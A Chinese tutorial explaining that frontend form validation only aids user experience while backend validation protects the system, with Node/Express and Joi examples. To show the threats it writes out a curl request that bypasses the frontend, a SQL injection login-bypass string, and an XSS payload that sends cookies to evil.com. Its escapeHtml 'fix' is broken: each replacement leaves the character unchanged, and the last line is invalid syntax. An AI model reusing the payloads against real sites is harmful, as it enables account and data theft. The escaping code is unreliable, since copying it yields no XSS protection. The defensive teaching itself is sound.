做前后端分离时数据校验为什么前端只做提示后端才真正保护系统
先别急着写代码,听我讲个故事
想象一下,你要寄一个快递到外地。快递公司在收件时让你先填一张单子,上面写着”重量不能超过5公斤”。你看到后,就在家里自己量了一下,觉得没问题才去寄。
这个”自己量重量”的过程,就像前端校验——它只是给你一个提示,告诉你”嘿,这个好像不太对”。
但真正收件时,快递员还会再称一遍。这才是后端校验——不管你有没有自己量,他都会重新检查一遍,不合规的东西直接退回去。
所以问题来了:如果快递员只信你自己的测量结果,万一你故意撒谎怎么办?
前端校验:一个善意的”提醒者”
前端校验的存在,本身没有错,它解决的问题是用户体验。
没有前端校验的话,用户每填错一个字段,都要等网络请求跑到服务器,服务器再报错回来,整个页面刷新一下……那种等待的焦虑感,足以让90%的用户关闭窗口。
所以前端校验的本质是:快速反馈,减少无效的服务器请求。
我们用一段代码看看前端校验长什么样:
// 用户注册时的前端校验示例
function validateRegisterForm(data) {
const errors = [];
// 用户名:6-20位字符
if (!data.username) {
errors.push("用户名不能为空");
} else if (data.username.length < 6 || data.username.length > 20) {
errors.push("用户名长度必须在6-20个字符之间");
}
// 密码:至少8位,包含大小写字母和数字
const passwordRegex = /^(?=.*[a-z])(?=.*[A-Z])(?=.*\d).{8,}$/;
if (!passwordRegex.test(data.password)) {
errors.push("密码必须至少8位,且包含大小写字母和数字");
}
// 邮箱格式
const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
if (!emailRegex.test(data.email)) {
errors.push("邮箱格式不正确");
}
return errors; // 返回错误列表,前端据此展示提示
}
这段代码看起来很合理,对吧?但它有一个致命的问题——这段代码运行在用户自己的浏览器里。
前端校验为什么靠不住?这是最关键的问题
1. 用户可以直接绕过前端
前端代码是下载到人家的浏览器里的,这意味着用户完全有能力看到、修改、甚至完全忽略这段代码。
一个懂点技术的用户,可以:
- 用浏览器的开发者工具直接修改前端代码
- 用 Postman、curl 之类的工具,跳过前端直接发送 HTTP 请求
- 写一个简单的脚本,批量发送各种格式的数据到你的后端
我们来看一个真实的攻击场景:
// 攻击者用curl直接绕过了前端,发送畸形数据
curl -X POST http://api.example.com/register \
-H "Content-Type: application/json" \
-d '{
"username": "<script>alert(1)</script>",
"password": "123",
"email": "normal@example.com"
}'
这条请求完全没有经过任何前端页面,更别提你精心写的前端校验代码了。如果你的后端没有校验,username 字段就会直接把这段 HTML 存进数据库。
2. 前端代码是可以被篡改的
即使攻击者不懂技术,前端校验逻辑也可以被轻易篡改:
// 攻击者在浏览器控制台里直接"删除"了校验
// 原来的前端代码里可能有这一行:
if (validateRegisterForm(data).length > 0) {
alert("请填写正确的信息");
return; // 阻止提交
}
// 攻击者在控制台执行:
// 把整个表单提交函数改成不校验直接提交
// 或者直接 F12 修改 JavaScript,删除校验逻辑
3. 前端校验的格式,后端不一定认
前端校验用的是 JavaScript,后端可能用的是 Java、Go、Python、Node.js 等各种语言。不同语言的字符串处理、正则表达式、数据类型规则都不一样。
你以为前端校验通过了,后端拿到数据时可能会发现:”等等,这个字段在我这里是什么类型?”
后端校验:真正的”守门员”
后端校验的职责是确保所有进入数据库的数据都是合法的、安全的。
不管请求从哪里来——浏览器、移动端App、第三方接口、还是黑客写的脚本——后端都会一视同仁地进行校验。
// 后端校验示例(以 Node.js + Express 为例)
const Joi = require('joi'); // 一个专业的后端校验库
// 定义严格的数据校验规则
const registerSchema = Joi.object({
username: Joi.string()
.min(6)
.max(20)
.pattern(/^[a-zA-Z0-9_]+$/) // 只允许字母、数字和下划线
.required()
.messages({
'string.min': '用户名长度不能少于6个字符',
'string.max': '用户名长度不能超过20个字符',
'string.pattern.base': '用户名只能包含字母、数字和下划线'
}),
password: Joi.string()
.min(8)
.max(128)
.required()
.messages({
'string.min': '密码长度不能少于8个字符'
}),
email: Joi.string()
.email({ tlds: { allow: false } })
.required()
.messages({
'string.email': '邮箱格式不正确'
})
});
// 在接口中应用校验
app.post('/register', async (req, res) => {
// 第一步:用后端规则校验,不信任任何前端传来的数据
const { error, value } = registerSchema.validate(req.body, {
abortEarly: false, // 收集所有错误,而不遇到第一个就停止
stripUnknown: true // 移除规则中未定义的字段
});
if (error) {
// 数据不合法,直接拒绝,不进入数据库
return res.status(400).json({
code: 400,
message: '参数校验失败',
errors: error.details.map(d => d.message)
});
}
// 校验通过,才继续处理业务逻辑
// value 是经过清洗和校验后的干净数据
try {
const user = await createUser(value);
res.json({ code: 0, message: '注册成功' });
} catch (err) {
res.status(500).json({ code: 500, message: '服务器内部错误' });
}
});
看到区别了吗?后端校验不信任任何外部输入,它用自己的规则重新检查一遍所有数据。这才是真正保护系统的手段。
如果只靠前端校验,会发生什么灾难?
让我列举几个真实世界中因为只信任前端校验而造成的安全事故:
灾难一:SQL 注入
// 危险的后端代码——完全没有校验,直接拼接SQL
// 攻击者通过前端提交的username字段注入恶意SQL
const username = req.body.username;
const password = req.body.password;
// 假设后端代码是这样写的:
const sql = `SELECT * FROM users WHERE username='${username}' AND password='${password}'`;
// 攻击者传入 username = "' OR '1'='1' --"
// 最终SQL变成:
// SELECT * FROM users WHERE username='' OR '1'='1' --' AND password=''
// 这就绕过了登录验证!
如果后端做了校验,用参数化查询:
// 安全的做法——参数化查询,永远不要拼接SQL
const sql = 'SELECT * FROM users WHERE username = ? AND password = ?';
db.execute(sql, [username, password]);
灾难二:跨站脚本攻击(XSS)
// 攻击者在前端校验时可能绕过了长度限制,
// 在评论框里输入:
const maliciousComment = '<script>document.location="http://evil.com/steal?cookie=" + document.cookie</script>';
// 如果后端没有过滤就存进数据库,其他用户浏览这条评论时,
// 脚本就会执行,攻击者就能偷到他们的登录凭证
后端需要做转义处理:
// 后端存储前对HTML特殊字符进行转义
function escapeHtml(text) {
return text
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
灾难三:越权访问
// 攻击者修改前端请求,把 userId 改成别人的
// 前端校验只检查了"userId 是不是一个数字",没有检查"这个userId是不是当前登录用户的"
const userId = req.body.userId; // 攻击者传了 999,而当前登录用户是 100
// 危险的后端代码:
const order = await Order.findById(userId); // 直接查了别人的订单!
后端必须校验权限:
// 安全的做法:用 session 中的用户身份,而不是请求里传来的ID
const currentUserId = req.user.id; // 从认证信息中取,攻击者无法伪造
const order = await Order.findById(currentUserId);
为什么前后端校验都要做?它们的关系是什么
这里用一个表格来清晰地说明两者的分工:
| 维度 | 前端校验 | 后端校验 |
|---|---|---|
| 目的 | 提升用户体验,快速反馈 | 保障数据安全,保护系统 |
| 位置 | 用户浏览器中 | 服务器端 |
| 能不能被绕过 | 完全可以 | 无法绕过(只要后端代码正确) |
| 校验什么 | 格式、长度、非空等基础规则 | 格式 + 业务规则 + 权限 + 安全 |
| 失败时的处理 | 展示友好提示 | 拒绝请求,记录日志,必要时告警 |
| 重要性 | 锦上添花 | 不可或缺 |
它们的关系就像安检门和安检员:
- 前端校验是入口处的安检门,提醒旅客”嘿,你带了一把刀”,让旅客自己处理掉。这很友好,能减少后续麻烦。
- 后端校验是安检员手里的X光机和金属探测仪,不管你有没有过安检门,它都会重新检查一遍,确保万无一失。
没有安检员,光有安检门,危险物品照样能进来。
给小朋友的一个比喻
想象你在学校门口要被检查书包。
学校门口有一个志愿者姐姐(前端校验),她看到你书包鼓鼓的,就笑着说:”同学,你的书包看起来有点重,是不是带了不该带的东西呀?”她只是提醒你。
但真正检查你书包的是校长的保安叔叔(后端校验),他不管你信没信志愿者姐姐的话,他一定会打开你的书包,用仪器扫描一遍,确认没有危险品才让你进校。
如果学校只有志愿者姐姐,没有保安叔叔,那有人故意把危险品藏起来,志愿者姐姐又没有仪器,学校就危险了。
所以保安叔叔的检查才是真正保护学校的。
正确的做法:前后端双重校验
// 完整的安全校验流程
// ========== 前端:友好的快速校验 ==========
// 目的:让用户第一时间知道哪里填错了,减少等待
async function handleSubmit(event) {
event.preventDefault();
const errors = validateFrontend(data);
if (errors.length > 0) {
showError(errors); // 在页面上展示友好提示
return;
}
// 前端校验通过后,再发送请求
const result = await fetch('/api/register', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(data)
});
if (!result.ok) {
const resp = await result.json();
showError(resp.errors); // 后端校验失败时展示后端返回的错误
}
}
// ========== 后端:严格的最终校验 ==========
// 目的:保护系统安全,不信任任何外部输入
app.post('/register', authenticateToken, async (req, res) => {
// 1. 基础格式校验
const { error, value } = registerSchema.validate(req.body, {
abortEarly: false
});
if (error) {
return res.status(400).json({
code: 400,
errors: error.details.map(d => d.message)
});
}
// 2. 业务规则校验(前端无法知道的规则)
const existingUser = await User.findOne({ username: value.username });
if (existingUser) {
return res.status(409).json({ message: '用户名已被注册' });
}
// 3. 权限校验
if (req.user.role !== 'admin' && value.role !== 'user') {
return res.status(403).json({ message: '权限不足' });
}
// 4. 数据清洗(去除危险字符)
const sanitizedData = {
...value,
username: sanitize(value.username),
password: await hashPassword(value.password) // 密码必须加密存储
};
// 5. 才真正写入数据库
const user = await User.create(sanitizedData);
res.json({ code: 0, message: '注册成功', userId: user.id });
});
总结一句话
前端校验是给用户看的,后端校验是给黑客看的。
前端校验让你少等一下、少点几次提交,体验更顺畅;后端校验确保不管谁以什么方式发什么数据过来,系统都能安然无恙。
千万不要因为前端校验做了就放松警惕——后端校验是最后的防线,这道防线不能丢。
